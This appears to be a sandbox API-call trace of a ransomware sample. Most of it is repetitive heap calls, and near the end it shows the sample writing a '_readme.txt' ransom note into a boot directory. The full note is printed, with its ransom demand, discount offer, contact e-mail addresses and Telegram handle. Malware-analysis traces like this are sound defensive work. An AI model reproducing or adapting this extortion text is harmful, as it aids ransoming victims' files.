[0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.649] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0124.649] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.649] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.649] PathFindFileNameW (pszPath="") returned="" [0124.649] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.649] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.649] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.649] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.649] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0124.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.649] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0124.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.650] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.650] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.650] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.650] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: 